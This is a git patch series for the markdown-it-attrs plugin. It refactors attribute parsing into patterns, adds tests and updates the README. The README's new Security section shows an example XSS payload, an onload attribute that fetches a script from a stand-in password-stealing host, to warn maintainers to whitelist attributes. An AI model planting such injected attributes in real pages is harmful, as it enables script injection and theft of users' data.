From 2c8ef7d4585296f34880b0f68ec3436eecefcd26 Mon Sep 17 00:00:00 2001
From: arve0 <arve.seljebu@gmail.com>
Date: Sat, 5 Aug 2017 08:59:40 +0200
Subject: [PATCH 1/4] added test for issue #32

---
 test.js | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/test.js b/test.js
index d09c99c..e2907f9 100644
--- a/test.js
+++ b/test.js
@@ -207,5 +207,20 @@ describe('markdown-it-attrs', () => {
     expected += '</table>\n';
     assert.equal(md.render(src), expected);
   });
+
+  it('should support nested lists', () => {
+    src = '- item\n';
+    src += '  - nested';
+    src += '  {.red}';
+    src += '{.blue}';
+    expected = '<ul class="blue">\n';
+    expected += '<li>item\n';
+    expected += '<ul class="red">\n';
+    expected += '<li>nested</li>\n';
+    expected += '</ul>\n';
+    expected += '</li>\n';
+    expected += '</ul>\n';
+    assert.equal(md.render(src), expected);
+  });
 });
 

From 9ef61ef713cb76597974eeecfd00984074593c27 Mon Sep 17 00:00:00 2001
From: arve0 <arve.seljebu@gmail.com>
Date: Mon, 7 Aug 2017 23:24:50 +0200
Subject: [PATCH 2/4] rewrite logic as patterns and transforms

The logic works like this:

1. Try matching pattern to token stream.
2. If pattern matches, run `pattern.transform`.
3. `pattern.transform` finds attributes and alters token stream accordingly.

A patterns consist of several tests. Each test must contain either
`shift` or `position`. For each token, tests of all patterns are rerun, such
that you can match which tokens follow each other in the token stream.

Example:

```js
{
  /**
   * | h1 |
   * | -- |
   * | c1 |
   * {.c}
   */
  name: 'tables',
  tests: [
    {
      shift: 0,
      type: 'table_close'
    }, {
      shift: 1,
      type: 'paragraph_open'
    }, {
      shift: 2,
      type: 'inline',
      content: utils.hasCurly('only')
    }
  ],...
```

The pattern above will match the token stream if
1. current token is of type table_close
2. the next token is a paragraph_open
3. the token after paragraph_open is of type inline
4. and it has content with curly

One may also specify patterns of children:
```js
    /**
     * - item
     * {.a}
     */
    name: 'list softbreak',
    tests: [
      {
        shift: -2,
        type: 'list_item_open'
      }, {
        shift: 0,
        type: 'inline',
        children: [
          {
            position: -2,
            type: 'softbreak'
          }, {
            position: -1,
            content: utils.hasCurly('only')
          }
        ]
      }
    ],...
```

The children pattern is similar as previous example, but uses `position`
here instead of `shift`. This makes it easy to specify last token (position: -1).

A transform is usually something like this:
1. get attributes
2. find correct token where attributes should be set
3. set attributes
4. remove curly from output

Example:
```js
transform: (tokens, i) => {
  let token = tokens[i];
  let start = token.info.lastIndexOf('{');
  let attrs = utils.getAttrs(token.info, start);
  utils.addAttrs(attrs, token);
  token.info = utils.removeCurly(token.info);
}
```

Note that keys in tests may be:

1. boolean | number | string: strict compare with token
2. function: function is called with token[key], should return true or false
3. array of functions: same as above, but all functions are called
4. array of tests: only for the key `children`, same as a token test,
   but will loop childrens of token, note that token should then be of type 'inline'
---
 index.js    | 261 ++++++++++++++++++-------------------------
 patterns.js | 315 ++++++++++++++++++++++++++++++++++++----------------
 test.js     |  15 +--
 utils.js    | 145 ++++++++++++++----------
 4 files changed, 418 insertions(+), 318 deletions(-)

diff --git a/index.js b/index.js
index 02ef918..ac8386d 100644
--- a/index.js
+++ b/index.js
@@ -1,183 +1,138 @@
 'use strict';
 
-const utils = require('./utils.js');
 const patterns = require('./patterns.js');
 
 module.exports = function attributes(md) {
 
-  function curlyAttrs(state){
-    var tokens = state.tokens;
-
-    for (var i = 0; i < tokens.length; ++i) {
-      let token = tokens[i];
-      let pattern;
-      if (token.block) {
-        pattern = getMatchingPattern(tokens, i, 'block');
-        if (pattern) {
-          pattern.transform(tokens, i);
-          continue;
-        }
-        if (token.type === 'inline') {
-          let children = tokens[i].children;
-          for (let j = 0; j < children.length; ++j) {
-            pattern = getMatchingPattern(children, j, 'inline');
-            if (pattern) {
-              pattern.transform(children, j);
-              continue;
-            }
+  function curlyAttrs(state) {
+    let tokens = state.tokens;
+
+    for (let i = 0; i < tokens.length; i++) {
+      for (let p = 0; p < patterns.length; p++) {
+        let pattern = patterns[p];
+        let j = null; // position of child with offset 0
+        let match = pattern.tests.every(t => {
+          let res = test(tokens, i, t);
+          if (res.j !== null) { j = res.j; }
+          return res.match;
+        });
+        if (match) {
+          pattern.transform(tokens, i, j);
+          if (pattern.name === 'inline attributes') {
+            // retry, may be several inline attributes
+            p--;
           }
         }
       }
-
-      // block tokens contain markup
-      // inline tokens contain the text
-      if (tokens[i].type !== 'inline') {
-        continue;
-      }
-
-      var inlineTokens = tokens[i].children;
-      if (!inlineTokens || inlineTokens.length <= 0) {
-        continue;
-      }
-
-      // attributes for blocks
-      var lastInlineToken;
-      if (utils.hasCurlyInEnd(tokens[i].content)) {
-        lastInlineToken = last(inlineTokens);
-        var content = lastInlineToken.content;
-        var curlyStart = content.lastIndexOf('{');
-        var attrs = utils.getAttrs(content, curlyStart + 1, content.length - 1);
-        // if list and `\n{#c}` -> apply to bullet list open:
-        //
-        // - iii
-        // {#c}
-        //
-        // should give
-        //
-        // <ul id="c">
-        //   <li>iii</li>
-        // </ul>
-        var nextLastInline = nextLast(inlineTokens);
-        // some blocks are hidden, example li > paragraph_open
-        var correspondingBlock = firstTokenNotHidden(tokens, i - 1);
-        if (nextLastInline && nextLastInline.type === 'softbreak' &&
-            correspondingBlock && correspondingBlock.type === 'list_item_open') {
-          utils.addAttrs(attrs, bulletListOpen(tokens, i - 1));
-          // remove softbreak and {} inline tokens
-          tokens[i].children = inlineTokens.slice(0, -2);
-          tokens[i].content = utils.removeCurly(tokens[i].content);
-          if (utils.hasCurlyInEnd(tokens[i].content)) {
-            // do once more:
-            //
-            // - item {.a}
-            // {.b} <-- applied this
-            i -= 1;
-          }
-        } else {
-          utils.addAttrs(attrs, correspondingBlock);
-          lastInlineToken.content = utils.removeCurly(content);
-          if (lastInlineToken.content === '') {
-            // remove empty inline token
-            inlineTokens.pop();
-          }
-          tokens[i].content = utils.removeCurly(tokens[i].content);
-        }
-      }
-
     }
   }
+
   md.core.ruler.before('linkify', 'curly_attributes', curlyAttrs);
 };
 
 /**
- * some blocks are hidden (not rendered)
- */
-function firstTokenNotHidden(tokens, i) {
-  if (tokens[i] && tokens[i].hidden) {
-    return firstTokenNotHidden(tokens, i - 1);
-  }
-  return tokens[i];
-}
-
-/**
- * Find corresponding bullet/ordered list open.
- */
-function bulletListOpen(tokens, i) {
-  var level = 0;
-  var token;
-  for (; i >= 0; i -= 1) {
-    token = tokens[i];
-    // jump past nested lists, level == 0 and open -> correct opening token
-    if (token.type === 'bullet_list_close' ||
-        token.type === 'ordered_list_close') {
-      level += 1;
-    }
-    if (token.type === 'bullet_list_open' ||
-        token.type === 'ordered_list_open') {
-      if (level === 0) {
-        return token;
-      } else {
-        level -= 1;
-      }
-    }
-  }
-}
-
-/**
- * Returns first pattern that matches `token`-stream
- * at current `i`.
+ * Test if t matches token stream.
  *
  * @param {array} tokens
  * @param {number} i
- * @param {string} type - pattern type
+ * @param {object} t Test to match.
+ * @return {object} { match: true|false, j: null|number }
  */
-function getMatchingPattern (tokens, i, type) {
-  type = type || 'block';
-  for (let pattern of patterns.filter(p => p.type === type)) {
-    let match = pattern.tests.every((test) => {
-      let j = i + test.shift;
-      let token = tokens[j];
-
-      if (token === undefined) { return false; }
-
-      for (let key in test) {
-        if (key === 'shift') { continue; }
-
-
-        if (token[key] === undefined) { return false; }
-        switch (typeof test[key]) {
-        case 'boolean':
-        case 'number':
-        case 'string':
-          if (token[key] !== test[key]) { return false; }
-          break;
-        case 'function':
-          if (!test[key](token[key])) { return false; }
-          break;
-        case 'object':
-          if (Array.isArray(test[key])) {
-            let res = test[key].every(t => t(token[key]));
-            if (res === false) { return false; }
+function test(tokens, i, t) {
+  let res = {
+    match: false,
+    j: null  // position of child
+  };
+
+  let ii = t.shift !== undefined
+    ? i + t.shift
+    : t.position;
+  let token = get(tokens, ii);  // supports negative ii
+
+
+  if (token === undefined) { return res; }
+
+  for (let key in t) {
+    if (key === 'shift' || key === 'position') { continue; }
+
+    if (token[key] === undefined) { return res; }
+
+    if (key === 'children' && isArrayOfObjects(t.children)) {
+      if (token.children.length === 0) {
+        return res;
+      }
+      let match;
+      let childTests = t.children;
+      let children = token.children;
+      if (childTests.every(tt => tt.position !== undefined)) {
+        // positions instead of shifts, do not loop all children
+        match = childTests.every(tt => test(children, tt.position, tt).match);
+        if (match) {
+          // we may need position of child in transform
+          let j = last(childTests).position;
+          res.j = j >= 0 ? j : children.length + j;
+        }
+      } else {
+        for (let j = 0; j < children.length; j++) {
+          match = childTests.every(tt => test(children, j, tt).match);
+          if (match) {
+            res.j = j;
+            // all tests true, continue with next key of pattern t
             break;
           }
-          // fall through for objects that are not arrays
-        default:
-          throw new Error('Unknown type of pattern test. Test should be of type boolean, number, string, function or array of functions.');
         }
       }
-      return true;
-    });
-    if (match) {
-      return pattern;
+
+      if (match === false) { return res; }
+
+      continue;
+    }
+
+    switch (typeof t[key]) {
+    case 'boolean':
+    case 'number':
+    case 'string':
+      if (token[key] !== t[key]) { return res; }
+      break;
+    case 'function':
+      if (!t[key](token[key])) { return res; }
+      break;
+    case 'object':
+      if (isArrayOfFunctions(t[key])) {
+        let r = t[key].every(tt => tt(token[key]));
+        if (r === false) { return res; }
+        break;
+      }
+    // fall through for objects !== arrays of functions
+    default:
+      throw new Error(`Unknown type of pattern test (key: ${key}). Test should be of type boolean, number, string, function or array of functions.`);
     }
   }
-  return false;
+
+  // no tests returned false -> all tests returns true
+  res.match = true;
+  return res;
 }
 
-function last(arr) {
-  return arr.slice(-1)[0];
+function isArrayOfObjects(arr) {
+  return Array.isArray(arr) && arr.length && arr.every(i => typeof i === 'object');
+}
+
+function isArrayOfFunctions(arr) {
+  return Array.isArray(arr) && arr.length && arr.every(i => typeof i === 'function');
+}
+
+/**
+ * Get n item of array. Supports negative n, where -1 is last
+ * element in array.
+ * @param {array} arr
+ * @param {number} n
+ */
+function get(arr, n) {
+  return n >= 0 ? arr[n] : arr[arr.length + n];
 }
 
-function nextLast(arr) {
-  return arr.slice(-2, -1)[0];
+// get last element of array, safe - returns {} if not found
+function last(arr) {
+  return arr.slice(-1)[0] || {};
 }
diff --git a/patterns.js b/patterns.js
index 5ca9670..90d4777 100644
--- a/patterns.js
+++ b/patterns.js
@@ -9,163 +9,284 @@ const utils = require('./utils.js');
 module.exports = [
   {
     /**
-     * > quote
-     * {.cls}
+     * ```python {.cls}
+     * for i in range(10):
+     *     print(i)
+     * ```
      */
-    name: 'blockquote',
-    type: 'block',
+    name: 'fenced code blocks',
+    tests: [
+      {
+        shift: 0,
+        block: true,
+        info: utils.hasCurly('end')
+      }
+    ],
+    transform: (tokens, i) => {
+      let token = tokens[i];
+      let start = token.info.lastIndexOf('{');
+      let attrs = utils.getAttrs(token.info, start);
+      utils.addAttrs(attrs, token);
+      token.info = utils.removeCurly(token.info);
+    }
+  }, {
+    /**
+     * bla `click()`{.c}
+     */
+    name: 'code inline',
     tests: [
       {
-        shift: 2,
-        type: 'blockquote_close'
-      }, {
         shift: 0,
         type: 'inline',
         children: [
-          isNonEmptyArray,
-          (arr) => {
-            let j = arr.length - 2;
-            return arr[j] && arr[j].type === 'softbreak';
-          },
-          (arr) => utils.hasCurlyInStart(arr[arr.length - 1].content)
+          {
+            shift: -1,
+            type: 'code_inline'  // does not have nesting: -1
+          }, {
+            shift: 0,
+            type: 'text',
+            content: utils.hasCurly('start')
+          }
         ]
       }
     ],
-    transform: (tokens, i) => {
-      let token = tokens[i];
-      let j = token.children.length - 1;
-      let attrsText = token.children[j].content;
-      let start = attrsText.lastIndexOf('{') + 1;
-      let end = attrsText.length - 1;
-      let attrs = utils.getAttrs(attrsText, start, end);
-      let blockquoteOpen = utils.matchingOpeningToken(tokens, i + 2);
-      utils.addAttrs(attrs, blockquoteOpen);
-      token.children = token.children.slice(0, -2);
+    transform: (tokens, i, j) => {
+      let token = tokens[i].children[j];
+      let endChar = token.content.indexOf('}');
+      var attrToken = tokens[i].children[j - 1];
+      var attrs = utils.getAttrs(token.content, 0);
+      utils.addAttrs(attrs, attrToken);
+      token.content = token.content.slice(endChar + 1);
     }
   }, {
     /**
-     * ```python {.cls}
-     * for i in range(10):
-     *     print(i)
-     * ```
+     * | h1 |
+     * | -- |
+     * | c1 |
+     * {.c}
      */
-    name: 'fenced code blocks',
-    type: 'block',
+    name: 'tables',
     tests: [
       {
+        // let this token be i, such that for-loop continues at
+        // next token after tokens.splice
         shift: 0,
-        block: true,
-        info: utils.hasCurlyInEnd
+        type: 'table_close'
+      }, {
+        shift: 1,
+        type: 'paragraph_open'
+      }, {
+        shift: 2,
+        type: 'inline',
+        content: utils.hasCurly('only')
       }
     ],
     transform: (tokens, i) => {
-      let token = tokens[i];
-      let start = token.info.lastIndexOf('{') + 1;
-      let attrs = utils.getAttrs(token.info, start, token.info.length - 1);
-      utils.addAttrs(attrs, token);
-      token.info = utils.removeCurly(token.info);
+      let token = tokens[i + 2];
+      var tableOpen = utils.getMatchingOpeningToken(tokens, i);
+      var attrs = utils.getAttrs(token.content, 0);
+      // add attributes
+      utils.addAttrs(attrs, tableOpen);
+      // remove <p>{.c}</p>
+      tokens.splice(i + 1, 3);
     }
   }, {
     /**
      * *emphasis*{.with attrs=1}
      */
     name: 'inline attributes',
-    type: 'inline',
     tests: [
       {
-        shift: -1,
-        nesting: -1  // closing inline tag before text with {.class}
-      }, {
         shift: 0,
-        type: 'text',
-        content: utils.hasCurlyInStart
+        type: 'inline',
+        children: [
+          {
+            shift: -1,
+            nesting: -1  // closing inline tag, </em>{.a}
+          }, {
+            shift: 0,
+            type: 'text',
+            content: utils.hasCurly('start')
+          }
+        ]
       }
     ],
-    transform: (tokens, i) => {
-      let token = tokens[i];
-      let endChar = token.content.indexOf('}');
-      // which token to add attributes to
-      var attrToken = utils.matchingOpeningToken(tokens, i - 1);
-      if (!attrToken) { return; }
-      var inlineAttrs = utils.getAttrs(token.content, 1, endChar);
-      if (inlineAttrs.length !== 0) {
-        // remove {}
-        token.content = token.content.slice(endChar + 1);
-        // add attributes
-        utils.addAttrs(inlineAttrs, attrToken);
-      }
+    transform: (tokens, i, j) => {
+      let token = tokens[i].children[j];
+      let content = token.content;
+      let attrs = utils.getAttrs(content, 0);
+      var openingToken = utils.getMatchingOpeningToken(tokens[i].children, j - 1);
+      utils.addAttrs(attrs, openingToken);
+      token.content = content.slice(content.indexOf('}') + 1);
     }
   }, {
     /**
-     * bla `click()`{.c}
+     * - item
+     * {.a}
      */
-    name: 'code inline',
-    type: 'inline',
+    name: 'list softbreak',
     tests: [
       {
-        shift: -1,
-        type: 'code_inline'
+        shift: -2,
+        type: 'list_item_open'
       }, {
         shift: 0,
-        type: 'text',
-        content: utils.hasCurlyInStart
+        type: 'inline',
+        children: [
+          {
+            position: -2,
+            type: 'softbreak'
+          }, {
+            position: -1,
+            content: utils.hasCurly('only')
+          }
+        ]
       }
     ],
-    transform: (tokens, i) => {
-      let token = tokens[i];
-      let endChar = token.content.indexOf('}');
-      var attrToken = tokens[i - 1];
-      var inlineAttrs = utils.getAttrs(token.content, 1, endChar);
-      if (inlineAttrs.length !== 0) {
-        // remove {}
-        token.content = token.content.slice(endChar + 1);
-        // add attributes
-        utils.addAttrs(inlineAttrs, attrToken);
-      }
+    transform: (tokens, i, j) => {
+      let token = tokens[i].children[j];
+      let content = token.content;
+      let attrs = utils.getAttrs(content, 0);
+      let ii = i - 2;
+      while (tokens[ii - 1] &&
+        tokens[ii - 1].type !== 'ordered_list_open' &&
+        tokens[ii - 1].type !== 'bullet_list_open') { ii--; }
+      utils.addAttrs(attrs, tokens[ii - 1]);
+      tokens[i].children = tokens[i].children.slice(0, -2);
     }
   }, {
     /**
-     * | h1 |
-     * | -- |
-     * | c1 |
-     * {.c}
+     * - nested list
+     *   - with double \n
+     *   {.a} <-- apply to nested ul
+     *
+     * {.b} <-- apply to root <ul>
      */
-    name: 'tables',
-    type: 'block',
+    name: 'list double softbreak',
     tests: [
       {
-        // let this token be i, such that for loop continues at
-        // next token after tokens.splice
+        // let this token be i = 0 so that we can erase
+        // the <p>{.a}</p> tokens below
         shift: 0,
-        type: 'table_close'
+        type: (str) =>
+          str === 'bullet_list_close' ||
+          str === 'ordered_list_close'
       }, {
         shift: 1,
         type: 'paragraph_open'
       }, {
         shift: 2,
         type: 'inline',
-        children: [
-          (arr) => arr && arr.length === 1,
-          (arr) => utils.hasCurlyInStart(arr[0].content)
-        ]
+        content: utils.hasCurly('only'),
+        children: (arr) => arr.length === 1
+      }, {
+        shift: 3,
+        type: 'paragraph_close'
       }
     ],
     transform: (tokens, i) => {
       let token = tokens[i + 2];
-      var tableOpen = utils.matchingOpeningToken(tokens, i);
-      if (!tableOpen) { return; }
-      var inlineAttrs = utils.getAttrs(token.content, 1, token.content.length - 1);
-      if (inlineAttrs.length !== 0) {
-        // remove <p>{.c}</p>
-        tokens.splice(i + 1, 3);
-        // add attributes
-        utils.addAttrs(inlineAttrs, tableOpen);
+      let content = token.content;
+      let attrs = utils.getAttrs(content, 0);
+      let openingToken = utils.getMatchingOpeningToken(tokens, i);
+      utils.addAttrs(attrs, openingToken);
+      tokens.splice(i + 1, 3);
+    }
+  }, {
+    /**
+     * - end of {.list-item}
+     */
+    name: 'list item end',
+    tests: [
+      {
+        shift: -2,
+        type: 'list_item_open'
+      }, {
+        shift: 0,
+        type: 'inline',
+        children: [
+          {
+            position: -1,
+            content: utils.hasCurly('end')
+          }
+        ]
       }
-
+    ],
+    transform: (tokens, i, j) => {
+      let token = tokens[i].children[j];
+      let content = token.content;
+      let attrs = utils.getAttrs(content, content.lastIndexOf('{'));
+      utils.addAttrs(attrs, tokens[i - 2]);
+      let trimmed = content.slice(0, content.lastIndexOf('{'));
+      token.content = last(trimmed) !== ' ' ?
+        trimmed : trimmed.slice(0, -1);
+    }
+  }, {
+    /**
+     * something with softbreak
+     * {.cls}
+     */
+    name: '\n{.a} softbreak then curly in start',
+    tests: [
+      {
+        shift: 0,
+        type: 'inline',
+        children: [
+          {
+            position: -2,
+            type: 'softbreak'
+          }, {
+            position: -1,
+            type: 'text',
+            content: utils.hasCurly('only')
+          }
+        ]
+      }
+    ],
+    transform: (tokens, i, j) => {
+      let token = tokens[i].children[j];
+      let attrs = utils.getAttrs(token.content, 0);
+      // find last closing tag
+      let ii = i + 1;
+      while (tokens[ii + 1] && tokens[ii + 1].nesting === -1) { ii++; }
+      let openingToken = utils.getMatchingOpeningToken(tokens, ii);
+      utils.addAttrs(attrs, openingToken);
+      tokens[i].children = tokens[i].children.slice(0, -2);
+    }
+  }, {
+    /**
+     * end of {.block}
+     */
+    name: 'end of block',
+    tests: [
+      {
+        shift: 0,
+        type: 'inline',
+        children: [
+          {
+            position: -1,
+            content: utils.hasCurly('end')
+          }
+        ]
+      }
+    ],
+    transform: (tokens, i, j) => {
+      let token = tokens[i].children[j];
+      let content = token.content;
+      let attrs = utils.getAttrs(content, content.lastIndexOf('{'));
+      let ii = i + 1;
+      while (tokens[ii + 1] && tokens[ii + 1].nesting === -1) { ii++; }
+      let openingToken = utils.getMatchingOpeningToken(tokens, ii);
+      utils.addAttrs(attrs, openingToken);
+      let trimmed = content.slice(0, content.lastIndexOf('{'));
+      token.content = last(trimmed) !== ' ' ?
+        trimmed : trimmed.slice(0, -1);
     }
   }
 ];
 
-function isNonEmptyArray(arr) {
-  return arr && arr.length !== 0;
+// get last element of array or string
+function last(arr) {
+  return arr.slice(-1)[0];
 }
+
diff --git a/test.js b/test.js
index e2907f9..5220740 100644
--- a/test.js
+++ b/test.js
@@ -9,7 +9,7 @@ describe('markdown-it-attrs.utils', () => {
   it('should parse {.class #id key=val}', () => {
     var src = '{.red #head key=val}';
     var expected = [['class', 'red'], ['id', 'head'], ['key', 'val']];
-    var res = utils.getAttrs(src, 1, src.length-1);
+    var res = utils.getAttrs(src, 0);
     assert.deepEqual(res, expected);
   });
 });
@@ -28,7 +28,7 @@ describe('markdown-it-attrs', () => {
 
   it('should add attributes when {} in last line', () => {
     src = 'some text\n{with=attrs}';
-    expected = '<p with="attrs">some text\n</p>\n';
+    expected = '<p with="attrs">some text</p>\n';
     assert.equal(md.render(src), expected);
   });
 
@@ -89,7 +89,7 @@ describe('markdown-it-attrs', () => {
   });
 
   it('should add classes in nested lists', () => {
-    src = '- item 1{.a}\n';
+    src =  '- item 1{.a}\n';
     src += '  - nested item {.b}\n';
     src += '  {.c}\n';
     src += '    1. nested nested item {.d}\n';
@@ -209,10 +209,11 @@ describe('markdown-it-attrs', () => {
   });
 
   it('should support nested lists', () => {
-    src = '- item\n';
-    src += '  - nested';
-    src += '  {.red}';
-    src += '{.blue}';
+    src =  '- item\n';
+    src += '  - nested\n';
+    src += '  {.red}\n';
+    src += '\n';
+    src += '{.blue}\n';
     expected = '<ul class="blue">\n';
     expected += '<li>item\n';
     expected += '<ul class="red">\n';
diff --git a/utils.js b/utils.js
index a2a9b78..db008e9 100644
--- a/utils.js
+++ b/utils.js
@@ -2,27 +2,34 @@
 /**
  * parse {.class #id key=val} strings
  * @param {string} str: string to parse
- * @param {int} start: where to start parsing (not including {)
- * @param {int} end: where to stop parsing (not including })
+ * @param {int} start: where to start parsing (including {)
  * @returns {2d array}: [['key', 'val'], ['class', 'red']]
  */
-exports.getAttrs = function(str, start, end) {
+exports.getAttrs = function (str, start, end) {
+  // TODO: do not require `end`, stop when } is found
   // not tab, line feed, form feed, space, solidus, greater than sign, quotation mark, apostrophe and equals sign
-  var allowedKeyChars = /[^\t\n\f />"'=]/;
-  var pairSeparator = ' ';
-  var keySeparator = '=';
-  var classChar = '.';
-  var idChar = '#';
-
-  var attrs = [];
-  var key = '';
-  var value = '';
-  var parsingKey = true;
-  var valueInsideQuotes = false;
+  const allowedKeyChars = /[^\t\n\f />"'=]/;
+  const pairSeparator = ' ';
+  const keySeparator = '=';
+  const classChar = '.';
+  const idChar = '#';
+  const endChar = '}';
+
+  const attrs = [];
+  let key = '';
+  let value = '';
+  let parsingKey = true;
+  let valueInsideQuotes = false;
 
   // read inside {}
-  for (var i=start; i <= end; ++i) {
-    var char_ = str.charAt(i);
+  // start + 1 to avoid beginning {
+  // breaks when } is found or end of string
+  for (let i = start + 1; i < str.length; i++) {
+    let char_ = str.charAt(i);
+    if (char_ === endChar) {
+      if (key !== '') { attrs.push([key, value]); }
+      break;
+    }
 
     // switch to reading value if equal sign
     if (char_ === keySeparator) {
@@ -88,8 +95,8 @@ exports.getAttrs = function(str, start, end) {
  * @param {token} token: which token to add attributes
  * @returns token
  */
-exports.addAttrs = function(attrs, token) {
-  for (var j=0, l=attrs.length; j<l; ++j) {
+exports.addAttrs = function (attrs, token) {
+  for (var j = 0, l = attrs.length; j < l; ++j) {
     var key = attrs[j][0];
     if (key === 'class') {
       token.attrJoin('class', attrs[j][1]);
@@ -101,47 +108,58 @@ exports.addAttrs = function(attrs, token) {
 };
 
 /**
- * proper formated curly in *end* of string
+ * Does string have properly formatted curly?
+ *
+ * start: '{.a} asdf'
+ * middle: 'a{.b}c'
+ * end: 'asdf {.a}'
+ * only: '{.a}'
+ *
+ * @param {string} where to expect {} curly. start, middle, end or only.
+ * @return {function(string)} Function which testes if string has curly.
  */
-exports.hasCurlyInEnd = function (str) {
-  // we need minimum four chars, example {.b}
-  if (!str || typeof str !== 'string' || str.length < 4) {
-    return false;
-  }
-
-  // should end in }
-  if (str.charAt(str.length - 1) !== '}') {
-    return false;
-  }
-
-  // should start with {
-  if (str.indexOf('{') === -1) {
-    return false;
-  }
-
-  return true;
-};
+exports.hasCurly = function (where) {
 
-/**
- * proper formated curly in *start* of string
- */
-exports.hasCurlyInStart = function (str) {
-  // we need minimum four chars, example {.b}
-  if (!str || typeof str !== 'string' || str.length < 4) {
-    return false;
+  if (!where) {
+    throw new Error('Parameter `where` not passed. Should be "start", "middle", "end" or "only".');
   }
 
-  // should start in {
-  if (str.charAt(0) !== '{') {
-    return false;
-  }
-
-  // should start with {
-  if (str.indexOf('}') < 3) {
-    return false;
-  }
+  /**
+   * @param {string} str
+   * @return {boolean}
+   */
+  return function (str) {
+    // we need minimum four chars, example {.b}
+    if (!str || typeof str !== 'string' || str.length < 4) {
+      return false;
+    }
 
-  return true;
+    let start, end;
+    switch (where) {
+    case 'start':
+      // first char should be {, } found in char 3 or more
+      return str.charAt(0) === '{' &&
+          str.indexOf('}', 3) !== -1;
+
+    case 'middle':
+      // 'a{.b}'
+      start = str.indexOf('{', 1);
+      end = start !== -1 && str.indexOf('}', start + 3);
+      return start !== -1 && end !== -1;
+
+    case 'end':
+      // last char should be }
+      end = str.charAt(str.length - 1) === '}';
+      start = end && str.indexOf('{');
+      return end && (start + 3) < str.length;
+
+    case 'only':
+      // '{.a}'
+      return str.charAt(0) === '{' &&
+          // make sure first occurence is last occurence
+          str.indexOf('}', 3) === (str.length - 1);
+    }
+  };
 };
 
 /**
@@ -157,7 +175,7 @@ exports.removeCurly = function (str) {
 /**
  * find corresponding opening block
  */
-exports.matchingOpeningToken = function (tokens, i) {
+exports.getMatchingOpeningToken = function (tokens, i) {
   if (tokens[i].type === 'softbreak') {
     return false;
   }
@@ -165,18 +183,23 @@ exports.matchingOpeningToken = function (tokens, i) {
   if (tokens[i].nesting === 0) {
     return tokens[i];
   }
-  var type = tokens[i].type.replace('_close', '_open');
+
+  // inline tokens changes level on same token
+  // that have .nesting +- 1
+  let level = tokens[i].block
+    ? tokens[i].level
+    : tokens[i].level + 1;  // adjust for inline tokens
+
+  let type = tokens[i].type.replace('_close', '_open');
+
   for (; i >= 0; --i) {
-    if (tokens[i].type === type) {
+    if (tokens[i].type === type && tokens[i].level === level) {
       return tokens[i];
     }
   }
 };
 
 
-
-
-
 /**
  * from https://github.com/markdown-it/markdown-it/blob/master/lib/common/utils.js
  */
@@ -193,7 +216,7 @@ function replaceUnsafeChar(ch) {
   return HTML_REPLACEMENTS[ch];
 }
 
-exports.escapeHtml = function(str) {
+exports.escapeHtml = function (str) {
   if (HTML_ESCAPE_TEST_RE.test(str)) {
     return str.replace(HTML_ESCAPE_REPLACE_RE, replaceUnsafeChar);
   }

From 2b762588885371ac050f25a09fb65c9cc0e956fc Mon Sep 17 00:00:00 2001
From: arve0 <arve.seljebu@gmail.com>
Date: Tue, 8 Aug 2017 00:21:31 +0200
Subject: [PATCH 3/4] update readme

---
 README.md | 50 ++++++++++++++++++++++----------------------------
 1 file changed, 22 insertions(+), 28 deletions(-)

diff --git a/README.md b/README.md
index 918810f..8449f82 100644
--- a/README.md
+++ b/README.md
@@ -38,8 +38,15 @@ nums = [x for x in range(10)]
 </code></pre>
 ```
 
-**Note:** Plugin does not validate any input, so you should validate the attributes in your html output if security is a concern.
+## Security
+**NOTE!**
 
+`markdown-it-attrs` does not validate attribute input. You should validate your output HTML if security is a concern (use a whitelist).
+
+For example, a user may insert rogue attributes like this:
+```js
+![](img.png){onload=fetch(https://imstealingyourpasswords.com/script.js).then(...)}
+```
 
 ## Install
 
@@ -90,7 +97,7 @@ Output:
 </ul>
 ```
 
-If you need the class to apply to the ul element, use a new line:
+If you need the class to apply to the `<ul>` element, use a new line:
 ```md
 - list item **bold**
 {.red}
@@ -103,42 +110,29 @@ Output:
 </ul>
 ```
 
-Unfortunately, as of now, attributes on new line will apply to opening `ul` or `ol` for previous list item:
+If you have nested lists, curlys after new lines will apply to the nearest `<ul>` or `<ol>` list. You may force it to apply to the outer `<ul>` by adding curly below on a paragraph by it own:
 ```md
-- applies to
-  - ul of last
-  {.list}
-{.item}
-
+- item
+  - nested item {.a}
+{.b}
 
-- here
-  - we get
-  {.blue}
-- what's expected
-{.red}
+{.c}
 ```
 
-Which is not what you might expect. [Suggestions are welcome](https://github.com/arve0/markdown-it-attrs/issues/32). Output:
+Output:
 ```html
-<ul>
-  <li>applies
-    <ul class="item list">
-      <li>ul of last</li>
+<ul class="c">
+  <li>item
+    <ul class="b">
+      <li class="a">nested item</li>
     </ul>
   </li>
 </ul>
-
-<ul class="red">
-  <li>here
-    <ul class="blue">
-      <li>we get</li>
-    </ul>
-  </li>
-  <li>what's expected</li>
-</ul>
 ```
 
-If you need finer control, look into [decorate](https://github.com/rstacruz/markdown-it-decorate).
+This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.
+
+If you need finer control, [decorate](https://github.com/rstacruz/markdown-it-decorate) might help you.
 
 
 ## Custom blocks

From 16f59903562319529cdf7798b5ad5ff107c71a8e Mon Sep 17 00:00:00 2001
From: arve0 <arve.seljebu@gmail.com>
Date: Tue, 8 Aug 2017 00:27:24 +0200
Subject: [PATCH 4/4] add issue template

---
 ISSUE_TEMPLATE.md | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)
 create mode 100644 ISSUE_TEMPLATE.md

diff --git a/ISSUE_TEMPLATE.md b/ISSUE_TEMPLATE.md
new file mode 100644
index 0000000..bf018a9
--- /dev/null
+++ b/ISSUE_TEMPLATE.md
@@ -0,0 +1,16 @@
+This is an issue template. Fill in your problem description here, replacing this text. Below you should include examples.
+
+Example input:
+```md
+this is the markdown I'm trying to parse {.replace-me}
+```
+
+Current output:
+```html
+<p class="replace-me">this is the markdown I'm trying to parse</p>
+```
+
+Expected output:
+```html
+<p class="replace-me">this is the markdown I'm trying to parse</p>
+```